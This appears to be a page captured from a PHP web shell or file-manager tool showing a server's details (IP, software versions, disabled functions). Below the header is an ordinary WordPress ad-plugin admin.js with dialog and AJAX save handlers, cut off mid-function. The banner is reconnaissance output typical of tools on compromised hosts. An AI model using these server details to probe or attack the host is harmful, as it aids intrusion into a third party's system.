Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : admin.js
jQuery(document).ready(function() {	
	jQuery(window).resize(function() {
		jQuery('.insert-ads .plugin-card').each(function() {	
			jQuery(this).css('height', 'auto');
		});
		jQuery('.insert-ads .plugin-card').each(function() {		
			var initialCard = jQuery(this);
			var rowTop = initialCard.position().top;
			jQuery('.insert-ads .plugin-card').each(function() {		
				if(rowTop == jQuery(this).position().top) {
					if(initialCard.height() < jQuery(this).height()) {
						initialCard.height(jQuery(this).height());
					}
				}
			});
		});
	});
	jQuery(window).resize();
	
	insert_ads_click_handler(
		'insert_ads_abtesting_configuration',
		'Multiple Ad Networks / A-B Testing : Configuration',
		'480',
		'480',
		function() { },
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': "insert_ads_abtesting_configuration_form_save_action",
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_abtesting_mode': jQuery('input[name=insert_ads_abtesting_mode]:checked').val()
				}, function(response) { }			
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_trackingcodes_google_analytics',
		'Tracking Codes : Google Analytics',
		'480',
		'480',
		function() {
			jQuery('#insert_ads_trackingcodes_analytics_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
		},
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_trackingcodes_google_analytics_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_trackingcodes_analytics_status': jQuery('#insert_ads_trackingcodes_analytics_status').prop('checked'),
					'insert_ads_trackingcodes_analytics_code': jQuery('#insert_ads_trackingcodes_analytics_code').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_trackingcodes_header',
		'Tracking Codes : Header',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() {
			jQuery('#insert_ads_trackingcodes_header_code').css('height', (jQuery("body").height() * 0.5)+'px');
			jQuery('#insert_ads_trackingcodes_header_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
		},
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_trackingcodes_header_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_trackingcodes_header_status': jQuery('#insert_ads_trackingcodes_header_status').prop('checked'),
					'insert_ads_trackingcodes_header_code': jQuery('#insert_ads_trackingcodes_header_code').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_trackingcodes_footer',
		'Tracking Codes : Footer',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() {
			jQuery('#insert_ads_trackingcodes_footer_code').css('height', (jQuery("body").height() * 0.5)+'px');
			jQuery('#insert_ads_trackingcodes_footer_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
		},
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_trackingcodes_footer_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_trackingcodes_footer_status': jQuery('#insert_ads_trackingcodes_footer_status').prop('checked'),
					'insert_ads_trackingcodes_footer_code': jQuery('#insert_ads_trackingcodes_footer_code').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_legalpages_privacy_policy',
		'Legal Pages : Privacy Policy',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() { },
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_legalpages_privacy_policy_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_legalpages_privacy_policy_content': jQuery('#insert_ads_legalpages_privacy_policy_content').val(),
					'insert_ads_legalpages_privacy_policy_assigned_page': jQuery('#insert_ads_legalpages_privacy_policy_assigned_page').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_legalpages_terms_conditions',
		'Legal Pages : Terms and Conditions',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() { },
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_legalpages_terms_conditions_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_legalpages_terms_conditions_content': jQuery('#insert_ads_legalpages_terms_conditions_content').val(),
					'insert_ads_legalpages_terms_conditions_assigned_page': jQuery('#insert_ads_legalpages_terms_conditions_assigned_page').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_legalpages_disclaimer',
		'Legal Pages : Disclaimer',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() { },
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_legalpages_disclaimer_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_legalpages_disclaimer_content': jQuery('#insert_ads_legalpages_disclaimer_content').val(),
					'insert_ads_legalpages_disclaimer_assigned_page': jQuery('#insert_ads_legalpages_disclaimer_assigned_page').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_legalpages_copyright',
		'Legal Pages : Copyright Notice',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() { },
		function() {
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_legalpages_copyright_form_save_action',
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
					'insert_ads_legalpages_copyright_content': jQuery('#insert_ads_legalpages_copyright_content').val(),
					'insert_ads_legalpages_copyright_assigned_page': jQuery('#insert_ads_legalpages_copyright_assigned_page').val(),
				}, function(response) { }
			);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_adstxt_generate',
		'Create / Update ads.txt',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() {
			jQuery('#insert_ads_adstxt_content').css('height', (jQuery('body').height() * 0.5)+'px');
			jQuery('.ui-dialog-buttonset').find('button').first().unbind('click').click(function() {
				jQuery('.ui-dialog-buttonset').find('button').last().button('disable');
				jQuery('.ui-dialog-titlebar').find('button').last().button('disable');
				var insert_ads_adstxt_content =  jQuery('#insert_ads_adstxt_content').val();
				jQuery('.ui-dialog-content').html('<div class="insert_ads_ajaxloader"></div>');
				jQuery('.insert_ads_ajaxloader').show();
				jQuery.post(
					jQuery('#insert_ads_admin_ajax').val(), {
						'action': 'insert_ads_adstxt_generate_form_save_action',
						'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
						'insert_ads_adstxt_content': insert_ads_adstxt_content,
					}, function(response) {
						if(response == '###SUCCESS###') {
							jQuery('.ui-dialog-titlebar').find('button').last().button('enable').click();
						} else {
							jQuery('.ui-dialog-buttonset').find('button').first().button('disable');
							jQuery('.ui-dialog-buttonset').find('button').last().button('enable');
							jQuery('.ui-dialog-titlebar').find('button').last().button('enable');
							jQuery('.ui-dialog-content').html(response);
						}
					}
				);
			});
		},
		function() { },
		function() { }
	);
	
	insert_ads_inpostads_click_handler('above');
	insert_ads_inpostads_click_handler('middle');
	insert_ads_inpostads_click_handler('below');
	insert_ads_inpostads_click_handler('left');
	insert_ads_inpostads_click_handler('right');
	
	insert_ads_click_handler(
		'insert_ads_adwidgets_new',
		'Ad Widget : Add New',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() {
			jQuery('.insert_ads_adwidgets_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
		},
		function() {
			var identifier = jQuery(".insert_ads_adwidgets_identifier").val();
			var adwidgetLink = jQuery("<a></a>");
			adwidgetLink.attr("id", "insert_ads_adwidgets_"+identifier);
			adwidgetLink.attr("href", "javascript:;");
			adwidgetLink.attr("onClick", "insert_ads_adwidgets_click_handler(\'"+identifier+"\', \'"+jQuery("#insert_ads_adwidgets_"+identifier+"_title").val()+"\')");
			adwidgetLink.html("Ad Widget : "+jQuery("#insert_ads_adwidgets_"+identifier+"_title").val());
			var deleteButton = jQuery("<span></span>");
			deleteButton.attr("class", "dashicons dashicons-dismiss insert_ads_delete_icon");
			deleteButton.attr("onClick", "insert_ads_adwidgets_remove(\'"+identifier+"\')");
			jQuery("#insert_ads_adwidgets_new").parent().before(jQuery("<p></p>").append(adwidgetLink, deleteButton));
			insert_ads_adwidgets_update(identifier);
		},
		function() { }
	);
	
	insert_ads_click_handler(
		'insert_ads_inthemeads_new',
		'In-Theme Ad : Add New',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() {
			jQuery('.insert_ads_inthemeads_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
		},
		function() {
			var identifier = jQuery(".insert_ads_inthemeads_identifier").val();
			var inthemeadLink = jQuery("<a></a>");
			inthemeadLink.attr("id", "insert_ads_inthemeads_"+identifier);
			inthemeadLink.attr("href", "javascript:;");
			inthemeadLink.attr("onClick", "insert_ads_inthemeads_click_handler(\'"+identifier+"\', \'"+jQuery("#insert_ads_inthemeads_"+identifier+"_title").val()+"\')");
			inthemeadLink.html("Ad Widget : "+jQuery("#insert_ads_inthemeads_"+identifier+"_title").val());
			var deleteButton = jQuery("<span></span>");
			deleteButton.attr("class", "dashicons dashicons-dismiss insert_ads_delete_icon");
			deleteButton.attr("onClick", "insert_ads_inthemeads_remove(\'"+identifier+"\')");
			jQuery("#insert_ads_inthemeads_new").parent().before(jQuery("<p></p>").append(inthemeadLink, deleteButton));
			insert_ads_inthemeads_update(identifier);
		},
		function() { }
	);
	
	insert_ads_vi_signup_handler();	
	insert_ads_vi_login_handler();
	insert_ads_vi_logout_handler();
	insert_ads_vi_customize_adcode();
	insert_ads_vi_chart_draw()
});

function primary_ad_code_type_change() {
	var location = '';
	if(jQuery('#insert_ads_inpostads_above_primary_ad_code_type').length != 0) {
		location = 'above';
	} else if(jQuery('#insert_ads_inpostads_middle_primary_ad_code_type').length != 0) {
		location = 'middle';
	} else {
		location = '';
	}
	if(location != '') {
		jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').parent().hide();
		jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').change(function() {
			jQuery('.isSelectedIndicator').removeClass('active');
			jQuery('#primary_ad_code_type_'+jQuery(this).val()).addClass('active');
		});
		jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').change();
		
		jQuery('#primary_ad_code_type_generic').click(function() {
			jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').val('generic');
			jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').change();
		});
		jQuery('#primary_ad_code_type_generic').parent().click(function() {
			jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').val('generic');
			jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').change();
		});
		
		jQuery('#primary_ad_code_type_vicode').click(function() {
			if(!jQuery('#primary_ad_code_type_vicode').hasClass('disabled')) {
				jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').val('vicode');
				jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').change();			
			}
		});
		jQuery('#primary_ad_code_type_vicode').parent().click(function() {
			if(!jQuery('#primary_ad_code_type_vicode').hasClass('disabled')) {
				jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').val('vicode');
				jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').change();
			}
		});	
		jQuery('#primary_ad_code_type_vicode').parents('.smartlogixSectionTitle').on('click', function(){
			if (!jQuery(document).find('#insert_ads_inpostads_above_status').next().hasClass('checked')){
				jQuery(document).find('#insert_ads_inpostads_above_status').next().trigger('click');
			}
		})
	}
}

function insert_ads_inpostads_vi_customize_adcode() {
	jQuery('#insert_ads_inpostads_vi_customize_adcode').click(function() {
		jQuery('.ui-dialog-titlebar').find('button').last().button('enable').click();
		jQuery('#insert_ads_vi_customize_adcode').click();
	});
}

function insert_ads_inpostads_click_handler(location) {
	insert_ads_click_handler(
		'insert_ads_inpostads_'+location,
		'Inpost Ads : Ad '+location.charAt(0).toUpperCase()+location.slice(1)+' Post Content',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.9,
		function() {
			var toggleText = '';
			if (jQuery('#insert_ads_inpostads_above_status').is(':checked')){
				toggleText = 'Press to switch off vi stories';
			} else {
				toggleText = 'Press to activate vi stories';
			}
			jQuery('#insert_ads_inpostads_above_status + div').click(function(){
				if (jQuery('#insert_ads_inpostads_above_status').is(':checked')){
				toggleText = 'Press to switch off vi stories';
				jQuery('#toggletext').text(toggleText);
				
			} else {
				toggleText = 'Press to activate vi stories';
				jQuery('#toggletext').text(toggleText);
			}
			})
			jQuery('#insert_ads_inpostads_'+location+'_status').parent().addClass('pwithcheck').css({'display': 'block', 'margin': '10px 0'}).append('<span id="toggletext" style="padding-left:20px; position: relative; top: -10px;">' + toggleText + '</span>').appendTo('.ui-accordion-content:eq(0) .insert_ads_rule_block .smartlogixSectionInner');
		},
		function() {
			args = {};
			args['action'] = 'insert_ads_inpostads_'+location+'_form_save_action';
			args['insert_ads_nonce'] = jQuery('#insert_ads_nonce').val();
			args['insert_ads_inpostads_'+location+'_status'] = jQuery('#insert_ads_inpostads_'+location+'_status').prop('checked');
			
			if(location == 'above' || location == 'middle') {
				args['insert_ads_inpostads_'+location+'_primary_ad_code_type'] = jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code_type').val();
			}
			args['insert_ads_inpostads_'+location+'_primary_ad_code'] = jQuery('#insert_ads_inpostads_'+location+'_primary_ad_code').val();
			args['insert_ads_inpostads_'+location+'_secondary_ad_code'] = jQuery('#insert_ads_inpostads_'+location+'_secondary_ad_code').val();
			args['insert_ads_inpostads_'+location+'_tertiary_ad_code'] = jQuery('#insert_ads_inpostads_'+location+'_tertiary_ad_code').val();
			
			args['insert_ads_inpostads_'+location+'_rules_exclude_loggedin'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_loggedin').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_exclude_mobile_devices'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_mobile_devices').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_exclude_404'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_404').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_exclude_home'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_home').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_home_instances'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_home_instances :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_exclude_archives'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_archives').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_archives_instances'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_archives_instances :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_exclude_search'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_search').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_search_instances'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_search_instances :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_exclude_page'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_page').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_page_exceptions'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_page_exceptions :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_exclude_post'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_post').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_post_exceptions'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_post_exceptions :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_post_categories_exceptions'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_post_categories_exceptions :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_exclude_categories'] = jQuery('#insert_ads_inpostads_'+location+'_rules_exclude_categories').prop('checked');
			args['insert_ads_inpostads_'+location+'_rules_categories_instances'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_categories_instances :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_rules_categories_exceptions'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_rules_categories_exceptions :selected'), function(e) { return jQuery(e).val(); });
			
			args['insert_ads_inpostads_'+location+'_geo_group1_countries'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_geo_group1_countries :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_geo_group1_adcode'] = jQuery('#insert_ads_inpostads_'+location+'_geo_group1_adcode').val();
			args['insert_ads_inpostads_'+location+'_geo_group2_countries'] = jQuery.map(jQuery('#insert_ads_inpostads_'+location+'_geo_group2_countries :selected'), function(e) { return jQuery(e).val(); });
			args['insert_ads_inpostads_'+location+'_geo_group2_adcode'] = jQuery('#insert_ads_inpostads_'+location+'_geo_group2_adcode').val();
			
			args['insert_ads_inpostads_'+location+'_styles'] = jQuery('#insert_ads_inpostads_'+location+'_styles').val();
			
			args['insert_ads_inpostads_'+location+'_notes'] = jQuery('#insert_ads_inpostads_'+location+'_notes').val();
			
			if(location == 'middle') {
				args['insert_ads_inpostads_'+location+'_minimum_character_count'] = jQuery('#insert_ads_inpostads_'+location+'_minimum_character_count').val();
				args['insert_ads_inpostads_'+location+'_paragraph_buffer_count'] = jQuery('#insert_ads_inpostads_'+location+'_paragraph_buffer_count').val();
			}
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), args, function(response) {
					var sucdial = jQuery('<div id="sucdial">Succesfully updated!</div>').hide().fadeIn('1000');
					if(jQuery('#sucdial').length){
											jQuery(document).find('#sucdial').fadeIn('1000').delay('2000').fadeOut('1000');
										} else {
											jQuery('body').prepend(sucdial);
											jQuery(document).find('#sucdial').delay('2000').fadeOut('1000');
										}
				}
			);
		},
		function() { }
	);
}

function insert_ads_adwidgets_click_handler(identifier, title) {
	jQuery('<div id="insert_ads_adwidgets_'+identifier+'_dialog"></div>').html('<div class="insert_ads_ajaxloader"></div>').dialog({
		'modal': true,
		'resizable': false,
		'width': jQuery("body").width() * 0.8,
		'maxWidth': jQuery("body").width() * 0.8,
		'maxHeight': jQuery("body").height() * 0.9,
		'title': 'Ad Widget : '+title,
		position: { my: 'center', at: 'center', of: window },
		open: function (event, ui) {
			jQuery('.ui-dialog').css({'z-index': 999999, 'max-width': '90%'});
			jQuery('.ui-widget-overlay').css({'z-index': 999998, 'opacity': 0.8, 'background': '#000000'});
			jQuery('.ui-dialog-buttonpane button:contains("Update")').button('disable');			
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_adwidgets_existing_form_get_content',
					'insert_ads_adwidgets_identifier': identifier,
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val()
				}, function(response) {
					jQuery('.insert_ads_ajaxloader').hide();
					jQuery('.ui-dialog-content').html(response);
					jQuery('.ui-accordion .ui-accordion-content').css('max-height', (jQuery("body").height() * 0.45));
					jQuery('.ui-dialog-buttonpane button:contains("Update")').button('enable');
					jQuery('.insert_ads_adwidgets_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
					jQuery('.ui-dialog').css({'position': 'fixed'});
					jQuery('#insert_ads_adwidgets_'+identifier+'_dialog').delay(500).dialog({position: { my: 'center', at: 'center', of: window }});
				}			
			);
		},
		buttons: {
			'Update': function() {
				jQuery("#insert_ads_adwidgets_"+identifier).html("Ad Widget : "+jQuery("#insert_ads_adwidgets_"+identifier+"_title").val());
				jQuery("#insert_ads_adwidgets_"+identifier).attr("onClick", "insert_ads_adwidgets_click_handler(\'"+identifier+"\', \'"+jQuery("#insert_ads_adwidgets_"+identifier+"_title").val()+"\')");
				insert_ads_adwidgets_update(identifier);
				jQuery(this).dialog('close');
			},
			Cancel: function() {
				jQuery(this).dialog('close');
			}
		},
		close: function() {
			jQuery(this).dialog('destroy');
		}
	});
}

function insert_ads_adwidgets_update(identifier) {
	args = {};
	args['action'] = 'insert_ads_adwidgets_existing_form_save_action';
	args['insert_ads_nonce'] = jQuery('#insert_ads_nonce').val();
	args['insert_ads_adwidgets_identifier'] = identifier;
	args['insert_ads_adwidgets_'+identifier+'_status'] = jQuery('#insert_ads_adwidgets_'+identifier+'_status').prop('checked');
	
	args['insert_ads_adwidgets_'+identifier+'_title'] = jQuery('#insert_ads_adwidgets_'+identifier+'_title').val();
	
	args['insert_ads_adwidgets_'+identifier+'_primary_ad_code'] = jQuery('#insert_ads_adwidgets_'+identifier+'_primary_ad_code').val();
	args['insert_ads_adwidgets_'+identifier+'_secondary_ad_code'] = jQuery('#insert_ads_adwidgets_'+identifier+'_secondary_ad_code').val();
	args['insert_ads_adwidgets_'+identifier+'_tertiary_ad_code'] = jQuery('#insert_ads_adwidgets_'+identifier+'_tertiary_ad_code').val();
	
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_loggedin'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_loggedin').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_mobile_devices'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_mobile_devices').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_404'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_404').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_home'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_home').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_archives'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_archives').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_search'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_search').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_page'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_page').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_page_exceptions'] = jQuery.map(jQuery('#insert_ads_adwidgets_'+identifier+'_rules_page_exceptions :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_post'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_post').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_post_exceptions'] = jQuery.map(jQuery('#insert_ads_adwidgets_'+identifier+'_rules_post_exceptions :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_adwidgets_'+identifier+'_rules_post_categories_exceptions'] = jQuery.map(jQuery('#insert_ads_adwidgets_'+identifier+'_rules_post_categories_exceptions :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_adwidgets_'+identifier+'_rules_exclude_categories'] = jQuery('#insert_ads_adwidgets_'+identifier+'_rules_exclude_categories').prop('checked');
	args['insert_ads_adwidgets_'+identifier+'_rules_categories_exceptions'] = jQuery.map(jQuery('#insert_ads_adwidgets_'+identifier+'_rules_categories_exceptions :selected'), function(e) { return jQuery(e).val(); });
	
	args['insert_ads_adwidgets_'+identifier+'_geo_group1_countries'] = jQuery.map(jQuery('#insert_ads_adwidgets_'+identifier+'_geo_group1_countries :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_adwidgets_'+identifier+'_geo_group1_adcode'] = jQuery('#insert_ads_adwidgets_'+identifier+'_geo_group1_adcode').val();
	args['insert_ads_adwidgets_'+identifier+'_geo_group2_countries'] = jQuery.map(jQuery('#insert_ads_adwidgets_'+identifier+'_geo_group2_countries :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_adwidgets_'+identifier+'_geo_group2_adcode'] = jQuery('#insert_ads_adwidgets_'+identifier+'_geo_group2_adcode').val();
	
	args['insert_ads_adwidgets_'+identifier+'_styles'] = jQuery('#insert_ads_adwidgets_'+identifier+'_styles').val();
	
	args['insert_ads_adwidgets_'+identifier+'_notes'] = jQuery('#insert_ads_adwidgets_'+identifier+'_notes').val();
	
	jQuery.post(
		jQuery('#insert_ads_admin_ajax').val(), args, function(response) { }
	);
}

function insert_ads_adwidgets_remove(identifier) {
	jQuery("<p>Are you Sure you want to remove this Ad Unit?</p>").dialog({
		'modal': true,
		'resizable': false,
		'title': 'Deletion Confirmation',
		position: { my: 'center', at: 'center', of: window },
		open: function (event, ui) {
			jQuery('.ui-dialog').css({'z-index': 999999, 'max-width': '90%'});
			jQuery('.ui-widget-overlay').css({'z-index': 999998, 'opacity': 0.8, 'background': '#000000'});
		},
		buttons : {
			'Confirm': function() {
				jQuery("#insert_ads_adwidgets_"+identifier).parent().remove();
				jQuery.post(
					jQuery('#insert_ads_admin_ajax').val(), {
						'action': 'insert_ads_adwidgets_remove',
						'insert_ads_adwidgets_identifier': identifier,
						'insert_ads_nonce': jQuery('#insert_ads_nonce').val()
					}, function(response) {
					}			
				);
				jQuery(this).dialog("close");
			},
			'Cancel': function() {
				jQuery(this).dialog("close");
			}
		},
		close: function() {
			jQuery(this).dialog('destroy');
		}
	});
}

function insert_ads_inthemeads_click_handler(identifier, title) {
	jQuery('<div id="insert_ads_inthemeads_'+identifier+'_dialog"></div>').html('<div class="insert_ads_ajaxloader"></div>').dialog({
		'modal': true,
		'resizable': false,
		'width': jQuery("body").width() * 0.8,
		'maxWidth': jQuery("body").width() * 0.8,
		'maxHeight': jQuery("body").height() * 0.9,
		'title': 'In-Theme Ad : '+title,
		position: { my: 'center', at: 'center', of: window },
		open: function (event, ui) {
			jQuery('.ui-dialog').css({'z-index': 999999, 'max-width': '90%'});
			jQuery('.ui-widget-overlay').css({'z-index': 999998, 'opacity': 0.8, 'background': '#000000'});
			jQuery('.ui-dialog-buttonpane button:contains("Update")').button('disable');
			jQuery.post(
				jQuery('#insert_ads_admin_ajax').val(), {
					'action': 'insert_ads_inthemeads_existing_form_get_content',
					'insert_ads_inthemeads_identifier': identifier,
					'insert_ads_nonce': jQuery('#insert_ads_nonce').val()
				}, function(response) {
					jQuery('.insert_ads_ajaxloader').hide();
					jQuery('.ui-dialog-content').html(response);
					jQuery('.ui-accordion .ui-accordion-content').css('max-height', (jQuery("body").height() * 0.45));
					jQuery('.ui-dialog-buttonpane button:contains("Update")').button('enable');
					jQuery('.insert_ads_inthemeads_status').parent().css({'display': 'inline-block', 'margin': '5px 0 0'}).prependTo('.ui-dialog-buttonpane');
					jQuery('.ui-dialog').css({'position': 'fixed'});
					jQuery('#insert_ads_inthemeads_'+identifier+'_dialog').delay(500).dialog({position: { my: 'center', at: 'center', of: window }});
				}			
			);
		},
		buttons: {
			'Update': function() {
				jQuery("#insert_ads_inthemeads_"+identifier).html("In-Theme Ad : "+jQuery("#insert_ads_inthemeads_"+identifier+"_title").val());
				jQuery("#insert_ads_inthemeads_"+identifier).attr("onClick", "insert_ads_inthemeads_click_handler(\'"+identifier+"\', \'"+jQuery("#insert_ads_inthemeads_"+identifier+"_title").val()+"\')");
				insert_ads_inthemeads_update(identifier);
				jQuery(this).dialog('close');
			},
			Cancel: function() {
				jQuery(this).dialog('close');
			}
		},
		close: function() {
			jQuery(this).dialog('destroy');
		}
	});
}

function insert_ads_inthemeads_update(identifier) {
	args = {};
	args['action'] = 'insert_ads_inthemeads_existing_form_save_action';
	args['insert_ads_nonce'] = jQuery('#insert_ads_nonce').val();
	args['insert_ads_inthemeads_identifier'] = identifier;
	args['insert_ads_inthemeads_'+identifier+'_status'] = jQuery('#insert_ads_inthemeads_'+identifier+'_status').prop('checked');
	
	args['insert_ads_inthemeads_'+identifier+'_title'] = jQuery('#insert_ads_inthemeads_'+identifier+'_title').val();
	
	args['insert_ads_inthemeads_'+identifier+'_primary_ad_code'] = jQuery('#insert_ads_inthemeads_'+identifier+'_primary_ad_code').val();
	args['insert_ads_inthemeads_'+identifier+'_secondary_ad_code'] = jQuery('#insert_ads_inthemeads_'+identifier+'_secondary_ad_code').val();
